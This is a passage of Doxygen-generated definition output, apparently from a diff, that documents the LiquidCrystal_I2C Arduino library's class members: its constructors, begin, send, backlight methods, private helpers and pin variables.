<<_EnD_oF_dEf_TeXt_ +LCD_5x8DOTS +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '110'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract LCD initialization and associated HW. + @discussion Initializes the LCD to a given size (col, row). This methods + initializes the LCD, therefore, it MUST be called prior to using any other + method from this class or parent class. + + The begin method can be overloaded if necessary to initialize any HW that + is implemented by a library and can't be done during construction, here + we use the Wire class. + + @param cols[in] the number of columns that the display has + @param rows[in] the number of rows that the display has + @param charsize[in] size of the characters of the LCD: LCD_5x8DOTS or + LCD_5x10DOTS. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a9fc9bc519ebbf7503dadc11622e02ed6'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_I2C'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'lcd_Addr'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'backlighPin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '53'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1add1f2da7de4ec9b9cd5c9b5fab712464'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_I2C'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'lcd_Addr'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'En'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'backlighPin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '70'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a7d9b54d3a91fa0e0e50db27cda6b4654'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_I2C'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'lcd_Addr'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'En'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '89'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the I2C address of the + LCD. The constructor does not initialize the LCD. + + @param lcd_Addr[in] I2C address of the IO expansion module. For I2CLCDextraIO, + the address can be configured using the on board jumpers. + @param En[in] LCD En (Enable) pin connected to the IO extender module + @param Rw[in] LCD Rw (Read/write) pin connected to the IO extender module + @param Rs[in] LCD Rs (Reset) pin connected to the IO extender module + @param d4[in] LCD data 0 pin map on IO extender module + @param d5[in] LCD data 1 pin map on IO extender module + @param d6[in] LCD data 2 pin map on IO extender module + @param d7[in] LCD data 3 pin map on IO extender module +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a517f8847ebf09f0eacfb9c7232975fce'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_I2C'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'lcd_Addr'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'En'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rs'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '67'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the I2C address of the + LCD. The constructor does not initialize the LCD. + + @param lcd_Addr[in] I2C address of the IO expansion module. For I2CLCDextraIO, + the address can be configured using the on board jumpers. + @param En[in] LCD En (Enable) pin connected to the IO extender module + @param Rw[in] LCD Rw (Read/write) pin connected to the IO extender module + @param Rs[in] LCD Rs (Reset) pin connected to the IO extender module +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1ab15622287533de7a47f3e2012ebf18be'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_I2C'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'lcd_Addr'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'En'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'backlighPin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '93'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1aac537d195557e0b8afac1a71441a484c'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_I2C'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'lcd_Addr'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '51'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the I2C address of the + LCD. The constructor does not initialize the LCD. + + @param lcd_Addr[in] I2C address of the IO expansion module. For I2CLCDextraIO, + the address can be configured using the on board jumpers. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a8bf1fab7efe13e8b17b96c42d1f810b4'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'send'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '124'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @param mode[in] DATA - write to the LCD CGRAM, COMMAND - write a + command to the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1af11b8fa0082616e2b6e6e4238589d8a8'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklight'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '145'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + + @param value: backlight mode (HIGH|LOW) +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a2eaf86f62d1f169b3763b03fbf88f70b'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklightPin'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '134'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. This device + doesn't support dimming backlight capability. + + @param 0: backlight off, 1..255: backlight on. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1adb997350478bdc0ab8eb5cc5623a2ad9'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'config'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'lcd_Addr'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'En'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '172'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Initialises class private variables + @discussion This is the class single point for initialising private variables. + + @param lcd_Addr[in] I2C address of the IO expansion module. For I2CLCDextraIO, + the address can be configured using the on board jumpers. + @param En[in] LCD En (Enable) pin connected to the IO extender module + @param Rw[in] LCD Rw (Read/write) pin connected to the IO extender module + @param Rs[in] LCD Rs (Reset) pin connected to the IO extender module + @param d4[in] LCD data 0 pin map on IO extender module + @param d5[in] LCD data 1 pin map on IO extender module + @param d6[in] LCD data 2 pin map on IO extender module + @param d7[in] LCD data 3 pin map on IO extender module +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a459c4fa106fb7bac5940e3c6aea736af'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +int +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'init'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '154'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Initializes the LCD class + @discussion Initializes the LCD class and IO expansion module. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a1d715dbf40f06b4c15004cd356b5a321'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'pulseEnable'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-defname = 'data'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '190'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Pulse the LCD enable line (En). + @discussion Sends a pulse of 1 uS to the Enable pin to execute an command + or write operation. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a60111950cc0a47e6223c22949faa15f3'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'write4bits'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '182'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Writes an 4 bit value to the LCD. + @discussion Writes 4 bits (the least significant) to the LCD control data lines. + @param value[in] Value to write to the LCD + @param more[in] Value to distinguish between command and data. + COMMAND == command, DATA == data. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-attrib'; + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a0bb3cc7ec414b373ef00e0cc6642ec88'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_Addr'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '193'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a9d59c16cde5c3ffb30a881e9a61c9a32'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_backlightPinMask'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '194'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a0eaa7c2ac1040a1786960618866c066e'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_backlightStsMask'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '195'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a3436246b17062357066c636aa598b49d'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_data_pins'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '200'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___i2_c_1aa0a878e97b6111abf1bc8d767a548cf2'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_En'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '197'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___i2_c_1adcc89f14c444ff086f544f33fc18ca4c'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +I2CIO +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_i2cio'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '196'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___i2_c_1ab70fc18e99a70e3293c4f6ba25c37efa'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_Rs'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '199'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a882df32eb9ae0e7a1b74f9a8ee4bffe9'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_Rw'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '198'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-filename = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + cp-fileline = '39'; + cp-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-inheritancegraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 16; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 15; + node-label = 